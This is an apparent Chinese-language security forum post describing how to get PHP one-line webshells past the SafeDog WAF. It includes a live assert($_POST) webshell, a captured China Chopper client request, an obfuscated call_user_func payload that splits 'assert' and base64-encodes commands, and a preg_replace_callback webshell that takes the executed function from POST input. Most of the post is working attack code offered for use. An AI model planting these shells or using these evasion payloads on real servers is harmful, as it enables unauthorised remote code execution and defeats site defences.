0x01 前言:

一句话好做,但是过了马子还得过狗。

0x02 思路分析:

思路还是很好分析的,毕竟2019年了,站在巨人的肩膀上,前面有那么多大佬前赴后继的研究。

  1. 语法特性
  2. 回调函数

以下文章将会从三个点来进行分析与实践。

0x03 实验:

0x01 类:


上图中可以得出,在assert函数中不能够使用类,所以思路一被pass掉了.

0x02 函数:

函数这条路也走不通,oo,只剩下回调函数了.

0x03 回调函数:

PHP中的回调函数比较常用的共4个:

  1. call_user_func
  2. call_user_func_array
  3. array_map
  4. preg_replace_callback

我们一个一个分析,首先将马子部署到服务器上,代码为:

<?php
assert($_POST['xxx']);
?>

然后将菜刀的请求包抓下来:

POST /best_php_shell.php HTTP/1.1
User-Agent: Java/1.8.0_221
Host: 10.165.143.19
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 93
Connection: close

xxx=[payload]&action=phpinfo();

首先必须确保脚本能够正确执行,在assert或者eval中,不能够使用function 以及class。

说完这个,在回到回调函数:call_user_func

语法:

call_user_func(函数名,参数1,参数2);

使用到马子:

发现执行成功了。但是这样是会被安全狗拦截掉的。

所以还需要在魔改一下:
当使用如下payload:

xxxx=call_user_func('ass'.'ert',call_user_func(base64_decode,$_POST[action]))&action=%63%47%68%77%61%57%35%6d%62%79%67%70%4f%77%3d%3d

这样就可以绕过了:

其他的call_user_func_array、array_map、preg_replace_callback

也是同理,现在要思考的可变性,如何才能减少安全狗等软件的匹配呢?想来想去也只要在代码里面做手脚了。

最后想来想去,好像也只能改代码了,因为在assert中局限性太大了,也算是一个不足之处吧。

接下来使用preg_replace_callback函数,代码如下:

<?php

function test($name){
    $name[1](base64_decode($name[2]));
}

preg_replace_callback("/-(.*?)-(.*?)-/",$_POST['func'],"-assert-{$_POST['action']}-");
?>

POST传参过去:

修改C刀配置文件:

点击收藏 | 2 关注 | 2
登录 后跟帖